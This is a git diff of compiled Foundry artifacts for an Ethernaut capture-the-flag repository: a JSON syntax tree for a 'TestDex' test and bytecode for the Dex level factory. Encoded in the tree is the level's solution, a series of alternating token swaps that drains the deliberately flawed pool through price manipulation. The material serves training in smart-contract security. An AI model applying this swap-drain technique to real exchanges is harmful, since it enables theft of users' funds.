SwappableToken"}],"id":59940,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2130:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59939,"name":"address","nodeType":"ElementaryTypeName","src":"2130:7:125","typeDescriptions":{}}},"id":59942,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2130:15:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3234","id":59943,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2147:2:125","typeDescriptions":{"typeIdentifier":"t_rational_24_by_1","typeString":"int_const 24"},"value":"24"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_24_by_1","typeString":"int_const 24"}],"expression":{"id":59932,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59729,"src":"2099:8:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"id":59934,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2108:4:125","memberName":"swap","nodeType":"MemberAccess","referencedDeclaration":50715,"src":"2099:13:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":59944,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2099:51:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59945,"nodeType":"ExpressionStatement","src":"2099:51:125"},{"expression":{"arguments":[{"arguments":[{"id":59951,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59877,"src":"2182:6:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}],"id":59950,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2174:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59949,"name":"address","nodeType":"ElementaryTypeName","src":"2174:7:125","typeDescriptions":{}}},"id":59952,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2174:15:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":59955,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59868,"src":"2199:6:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}],"id":59954,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2191:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59953,"name":"address","nodeType":"ElementaryTypeName","src":"2191:7:125","typeDescriptions":{}}},"id":59956,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2191:15:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3330","id":59957,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2208:2:125","typeDescriptions":{"typeIdentifier":"t_rational_30_by_1","typeString":"int_const 30"},"value":"30"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_30_by_1","typeString":"int_const 30"}],"expression":{"id":59946,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59729,"src":"2160:8:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"id":59948,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2169:4:125","memberName":"swap","nodeType":"MemberAccess","referencedDeclaration":50715,"src":"2160:13:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":59958,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2160:51:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59959,"nodeType":"ExpressionStatement","src":"2160:51:125"},{"expression":{"arguments":[{"arguments":[{"id":59965,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59868,"src":"2243:6:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}],"id":59964,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2235:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59963,"name":"address","nodeType":"ElementaryTypeName","src":"2235:7:125","typeDescriptions":{}}},"id":59966,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2235:15:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":59969,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59877,"src":"2260:6:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}],"id":59968,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2252:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59967,"name":"address","nodeType":"ElementaryTypeName","src":"2252:7:125","typeDescriptions":{}}},"id":59970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2252:15:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3431","id":59971,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2269:2:125","typeDescriptions":{"typeIdentifier":"t_rational_41_by_1","typeString":"int_const 41"},"value":"41"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_41_by_1","typeString":"int_const 41"}],"expression":{"id":59960,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59729,"src":"2221:8:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"id":59962,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2230:4:125","memberName":"swap","nodeType":"MemberAccess","referencedDeclaration":50715,"src":"2221:13:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":59972,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2221:51:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59973,"nodeType":"ExpressionStatement","src":"2221:51:125"},{"expression":{"arguments":[{"arguments":[{"id":59979,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59877,"src":"2304:6:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}],"id":59978,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2296:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59977,"name":"address","nodeType":"ElementaryTypeName","src":"2296:7:125","typeDescriptions":{}}},"id":59980,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2296:15:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":59983,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59868,"src":"2321:6:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}],"id":59982,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2313:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59981,"name":"address","nodeType":"ElementaryTypeName","src":"2313:7:125","typeDescriptions":{}}},"id":59984,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2313:15:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3435","id":59985,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2330:2:125","typeDescriptions":{"typeIdentifier":"t_rational_45_by_1","typeString":"int_const 45"},"value":"45"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_45_by_1","typeString":"int_const 45"}],"expression":{"id":59974,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59729,"src":"2282:8:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"id":59976,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2291:4:125","memberName":"swap","nodeType":"MemberAccess","referencedDeclaration":50715,"src":"2282:13:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":59986,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2282:51:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59987,"nodeType":"ExpressionStatement","src":"2282:51:125"},{"expression":{"arguments":[{"arguments":[{"id":59990,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59726,"src":"2375:9:125","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":59993,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59729,"src":"2394:8:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":59992,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2386:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59991,"name":"address","nodeType":"ElementaryTypeName","src":"2386:7:125","typeDescriptions":{}}},"id":59994,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2386:17:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":59989,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2355:19:125","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":59995,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2355:49:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":59988,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2344:10:125","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":59996,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2344:61:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59997,"nodeType":"ExpressionStatement","src":"2344:61:125"}]},"documentation":{"id":59857,"nodeType":"StructuredDocumentation","src":"1626:44:125","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1684:9:125","parameters":{"id":59858,"nodeType":"ParameterList","parameters":[],"src":"1693:2:125"},"returnParameters":{"id":59859,"nodeType":"ParameterList","parameters":[],"src":"1703:0:125"},"scope":60000,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":59720,"name":"Test","nameLocations":["356:4:125"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"356:4:125"},"id":59721,"nodeType":"InheritanceSpecifier","src":"356:4:125"},{"baseName":{"id":59722,"name":"Utils","nameLocations":["362:5:125"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"362:5:125"},"id":59723,"nodeType":"InheritanceSpecifier","src":"362:5:125"}],"canonicalName":"TestDex","contractDependencies":[49101,51019,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[60000,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestDex","nameLocation":"345:7:125","scope":60001,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":125} \ No newline at end of file diff --git a/contracts/out/DexFactory.sol/DexFactory.json b/contracts/out/DexFactory.sol/DexFactory.json new file mode 100644 index 000000000..fdb77ed9a --- /dev/null +++ b/contracts/out/DexFactory.sol/DexFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61232b8061007a5f395ff3fe6080604052600436106200005f575f3560e01c80638da5cb5b11620000465780638da5cb5b14620000b0578063d38def5b14620000ce578063f2fde38b1462000103575f80fd5b8063715018a614620000635780637726f776146200007c575b5f80fd5b3480156200006f575f80fd5b506200007a62000127565b005b620000936200008d36600462000929565b6200013e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000bc575f80fd5b505f546001600160a01b031662000093565b348015620000da575f80fd5b50620000f2620000ec3660046200094e565b620005e4565b6040519015158152602001620000a7565b3480156200010f575f80fd5b506200007a6200012136600462000929565b6200079c565b6200013162000836565b6200013c5f62000891565b565b5f806040516200014e90620008f8565b604051809103905ff08015801562000168573d5f803e3d5ffd5b5090505f8190505f81606e604051620001819062000906565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20310000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e310000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff0801580156200021b573d5f803e3d5ffd5b5090505f82606e604051620002309062000906565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20320000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e320000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff080158015620002ca573d5f803e3d5ffd5b506040517fcbc7854e0000000000000000000000000000000000000000000000000000000081526001600160a01b0380851660048301528083166024830152919250839183919087169063cbc7854e906044015f604051808303815f87803b15801562000335575f80fd5b505af115801562000348573d5f803e3d5ffd5b505060405163095ea7b360e01b81526001600160a01b038881166004830152606460248301528716925063095ea7b391506044016020604051808303815f875af115801562000399573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003bf91906200098a565b5060405163095ea7b360e01b81526001600160a01b0386811660048301526064602483015284169063095ea7b3906044016020604051808303815f875af11580156200040d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200043391906200098a565b506040516256688760e81b81526001600160a01b038381166004830152606460248301528716906356688700906044015f604051808303815f87803b1580156200047b575f80fd5b505af11580156200048e573d5f803e3d5ffd5b50506040516256688760e81b81526001600160a01b0384811660048301526064602483015289169250635668870091506044015f604051808303815f87803b158015620004d9575f80fd5b505af1158015620004ec573d5f803e3d5ffd5b505060405163a9059cbb60e01b81526001600160a01b038b81166004830152600a60248301528716925063a9059cbb91506044016020604051808303815f875af11580156200053d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200056391906200098a565b5060405163a9059cbb60e01b81526001600160a01b038981166004830152600a602483015284169063a9059cbb906044016020604051808303815f875af1158015620005b1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005d791906200098a565b5093979650505050505050565b5f80836001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000623573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620006499190620009ab565b90505f846001600160a01b03166325be124e6040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000689573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620006af9190620009ab565b6040516370a0823160e01b81526001600160a01b038781166004830152919250908316906370a0823190602401602060405180830381865afa158015620006f8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200071e9190620009c9565b15806200079357506040516370a0823160e01b81526001600160a01b0386811660048301528216906370a0823190602401602060405180830381865afa1580156200076b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620007919190620009c9565b155b95945050505050565b620007a662000836565b6001600160a01b038116620008285760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b620008338162000891565b50565b5f546001600160a01b031633146200013c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200081f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610ae180620009e283390190565b610e3380620014c383390190565b6001600160a01b038116811462000833575f80fd5b5f602082840312156200093a575f80fd5b8135620009478162000914565b9392505050565b5f806040838503121562000960575f80fd5b82356200096d8162000914565b915060208301356200097f8162000914565b809150509250929050565b5f602082840312156200099b575f80fd5b8151801515811462000947575f80fd5b5f60208284031215620009bc575f80fd5b8151620009478162000914565b5f60208284031215620009da575f80fd5b505191905056fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a678061007a5f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c8063bfd7e00d1161007d578063df791e5011610058578063df791e501461017f578063f2fde38b14610192578063f7888aec146101a5575f80fd5b8063bfd7e00d14610138578063cbc7854e14610159578063d21220a71461016c575f80fd5b806356688700116100ad578063566887001461010d578063715018a6146101205780638da5cb5b14610128575f80fd5b8063095ea7b3146100c857806325be124e146100dd575b5f80fd5b6100db6100d6366004610907565b6101b8565b005b6002546100f0906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100db61011b366004610907565b61028a565b6100db61030b565b5f546001600160a01b03166100f0565b61014b61014636600461092f565b61031e565b604051908152602001610104565b6100db610167366004610968565b610408565b6001546100f0906001600160a01b031681565b6100db61018d36600461092f565b61044b565b6100db6101a0366004610999565b610733565b61014b6101b3366004610968565b6107c3565b60015460405163e1f21c6760e01b81523360048201526001600160a01b038481166024830152604482018490529091169063e1f21c67906064015f604051808303815f87803b158015610209575f80fd5b505af115801561021b573d5f803e3d5ffd5b505060025460405163e1f21c6760e01b81523360048201526001600160a01b03868116602483015260448201869052909116925063e1f21c6791506064015f604051808303815f87803b158015610270575f80fd5b505af1158015610282573d5f803e3d5ffd5b505050505050565b610292610837565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd906064016020604051808303815f875af11580156102e2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061030691906109b2565b505050565b610313610837565b61031c5f610890565b565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa158015610362573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061038691906109d8565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa1580156103c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103ec91906109d8565b6103f690846109ef565b6104009190610a12565b949350505050565b610410610837565b600180546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560028054929093169116179055565b6001546001600160a01b03848116911614801561047557506002546001600160a01b038381169116145b806104a557506002546001600160a01b0384811691161480156104a557506001546001600160a01b038381169116145b6104f65760405162461bcd60e51b815260206004820152600e60248201527f496e76616c696420746f6b656e7300000000000000000000000000000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561053a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055e91906109d8565b10156105ac5760405162461bcd60e51b815260206004820152601260248201527f4e6f7420656e6f75676820746f2073776170000000000000000000000000000060448201526064016104ed565b5f6105b884848461031e565b6040516323b872dd60e01b8152336004820152306024820152604481018490529091506001600160a01b038516906323b872dd906064016020604051808303815f875af115801561060b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062f91906109b2565b506040517f095ea7b3000000000000000000000000000000000000000000000000000000008152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303815f875af1158015610693573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b791906109b2565b506040516323b872dd60e01b8152306004820152336024820152604481018290526001600160a01b038416906323b872dd906064016020604051808303815f875af1158015610708573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072c91906109b2565b5050505050565b61073b610837565b6001600160a01b0381166107b75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104ed565b6107c081610890565b50565b6040516370a0823160e01b81526001600160a01b0382811660048301525f91908416906370a0823190602401602060405180830381865afa15801561080a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082e91906109d8565b90505b92915050565b5f546001600160a01b0316331461031c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104ed565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b0381168114610902575f80fd5b919050565b5f8060408385031215610918575f80fd5b610921836108ec565b946020939093013593505050565b5f805f60608486031215610941575f80fd5b61094a846108ec565b9250610958602085016108ec565b9150604084013590509250925092565b5f8060408385031215610979575f80fd5b610982836108ec565b9150610990602084016108ec565b90509250929050565b5f602082840312156109a9575f80fd5b61082e826108ec565b5f602082840312156109c2575f80fd5b815180151581146109d1575f80fd5b9392505050565b5f602082840312156109e8575f80fd5b5051919050565b808202811582820484141761083157634e487b7160e01b5f52601160045260245ffd5b5f82610a2c57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b57cf9ac90d2bc30df42da4a6d18e47ef75e0abef0fa76269178775c3763545c64736f6c63430008180033608060405234801562000010575f80fd5b5060405162000e3338038062000e3383398101604081905262000033916200023c565b8282600362000043838262000351565b50600462000052828262000351565b5050506200006733826200009160201b60201c565b5050600580546001600160a01b0319166001600160a01b0393909316929092179091555062000443565b6001600160a01b038216620000ec5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620000ff91906200041d565b90915550506001600160a01b0382165f90815260208190526040812080548392906200012d9084906200041d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200019f575f80fd5b81516001600160401b0380821115620001bc57620001bc6200017b565b604051601f8301601f19908116603f01168101908282118183101715620001e757620001e76200017b565b816040528381526020925086602085880101111562000204575f80fd5b5f91505b8382101562000227578582018301518183018401529082019062000208565b5f602085830101528094505050505092915050565b5f805f806080858703121562000250575f80fd5b84516001600160a01b038116811462000267575f80fd5b60208601519094506001600160401b038082111562000284575f80fd5b62000292888389016200018f565b94506040870151915080821115620002a8575f80fd5b50620002b7878288016200018f565b606096909601519497939650505050565b600181811c90821680620002dd57607f821691505b602082108103620002fc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200017657805f5260205f20601f840160051c81016020851015620003295750805b601f840160051c820191505b818110156200034a575f815560010162000335565b5050505050565b81516001600160401b038111156200036d576200036d6200017b565b62000385816200037e8454620002c8565b8462000302565b602080601f831160018114620003bb575f8415620003a35750858301515b5f19600386901b1c1916600185901b17855562000415565b5f85815260208120601f198616915b82811015620003eb57888601518255948401946001909101908401620003ca565b50858210156200040957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200043d57634e487b7160e01b5f52601160045260245ffd5b92915050565b6109e280620004515f395ff3fe608060405234801561000f575f80fd5b50600436106100cf575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb1461019e578063dd62ed3e146101b1578063e1f21c67146101e9575f80fd5b806370a082311461015b57806395d89b4114610183578063a457c2d71461018b575f80fd5b806323b872dd116100ad57806323b872dd14610126578063313ce567146101395780633950935114610148575f80fd5b806306fdde03146100d3578063095ea7b3146100f157806318160ddd14610114575b5f80fd5b6100db6101fe565b6040516100e8919061083c565b60405180910390f35b6101046100ff3660046108a3565b61028e565b60405190151581526020016100e8565b6002545b6040519081526020016100e8565b6101046101343660046108cb565b6102a7565b604051601281526020016100e8565b6101046101563660046108a3565b6102ca565b610118610169366004610904565b6001600160a01b03165f9081526020819052604090205490565b6100db610308565b6101046101993660046108a3565b610317565b6101046101ac3660046108a3565b6103c5565b6101186101bf366004610924565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101fc6101f73660046108cb565b6103d2565b005b60606003805461020d90610955565b80601f016020809104026020016040519081016040528092919081815260200182805461023990610955565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f3361029b818585610440565b60019150505b92915050565b5f336102b4858285610597565b6102bf858585610627565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061029b908290869061030390879061098d565b610440565b60606004805461020d90610955565b335f8181526001602090815260408083206001600160a